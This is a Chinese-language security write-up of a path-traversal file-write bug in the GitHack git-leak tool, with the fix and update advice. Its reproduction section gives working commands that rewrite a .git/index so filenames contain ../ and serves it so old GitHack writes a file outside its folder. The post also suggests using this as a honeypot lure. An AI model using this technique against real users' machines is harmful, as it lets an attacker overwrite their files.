前言
最近幾天,關注的lijiejie大佬的GitHack項目提交了commit[1],Change Log寫著Fix abitrary file write vulnerability。GitHack任意文件寫入漏洞?這里讓我們分析一下這個漏洞。
漏洞詳情
本漏洞最早是由國外安全研究者justinsteven報告的[2],報告中指出相關軟件在使用或訪問一些不信任的git倉庫的情況下,就可能被精心設計者利用。
GitHack通過gin(一個git的index文件解析)去直接解析.git/index文件,找到工程中所有的文件并下載,當解析到的文件名含有../時,下載的文件就會往上穿越目錄存放,遇到同名文件還可以覆蓋。只要通過精心的設計的.git/index,就可以把任意文件寫入到GitHack工具使用者的機器上。
場景復現
首先構造一個Git倉庫:
/# mkdir -p /tmp/test
/# cd /tmp/test
/tmp/test# git init
Initialized empty Git repository in /tmp/test/.git/
/tmp/test# echo nothing |tee other1 other2 other3
nothing
/tmp/test# mkdir -p aabaabaabaabaabaabaabaabaabtmp
/tmp/test# echo "flag{gamelab}" >> aabaabaabaabaabaabaabaabaabtmp/gamelab
/tmp/test# git add .
/tmp/test# git commit -m "add gamelab"
[master (root-commit) 97db507] add gamelab
4 files changed, 4 insertions(+)
create mode 100644 aabaabaabaabaabaabaabaabaabtmp/gamelab
create mode 100644 other1
create mode 100644 other2
create mode 100644 other3
root@cn:/tmp/test# strings .git/index |grep gamelab
&aabaabaabaabaabaabaabaabaabtmp/gamelab
再使用sed替換字符串:
/tmp/test# sed -i 's#aab#../#g' .git/index
/tmp/test# strings .git/index |grep gamelab
&../../../../../../../../../tmp/gamelab
使用Python開啟HTTP服務,讓我們可以通過HTTP來訪問當前文件夾的/.git目錄。
/tmp/test# python2 -m SimpleHTTPServer 2333
Serving HTTP on 0.0.0.0 port 2333 ...
到這里,準備工作就做好了。
打開另一個終端,使用舊版Githack直接獲取泄露的.git文件夾。
/tmp/old# cat /tmp/gamelab
cat: /tmp/gamelab: No such file or directory
/tmp/old# python2 GitHack.py http://127.0.0.1:2333/.git/
[+] Download and parse index file ...
../../../../../../../../../tmp/gamelab
other1
other2
other3
[OK] ../../../../../../../../../tmp/gamelab
[OK] other1
[OK] other2
[OK] other3
/tmp/old# cat /tmp/gamelab
flag{gamelab}
至此,文件已寫入。
修復方案
讓我們先來看一下GitHack源碼都有哪些修改:
最大的改動是在此處加了一個判斷 if entry["name"].strip().find('..') < 0:,也就是說如果entry["name"]內沒有..,則操作與以前一樣,修復后,..就被限制住了。
所以,現在就去更新下你的GitHack工具到2022.4.7最新版。
此外,王一航的GitHacker項目已于2022.3.1修復該漏洞[3]。
隨想
舊版GitHack這個漏洞存在已久,通過精心設計,可以有效地反制使用者。該環境也可以存在于蜜罐中,作為誘餌來誘捕攻擊者。建議各位師傅更新下GitHack。
參考鏈接
- https://github.com/lijiejie/GitHack
- https://github.com/justinsteven/advisories/blob/main/2022_git_buried_bare_repos_and_fsmonitor_various_abuses.md
- https://github.com/WangYihang/GitHacker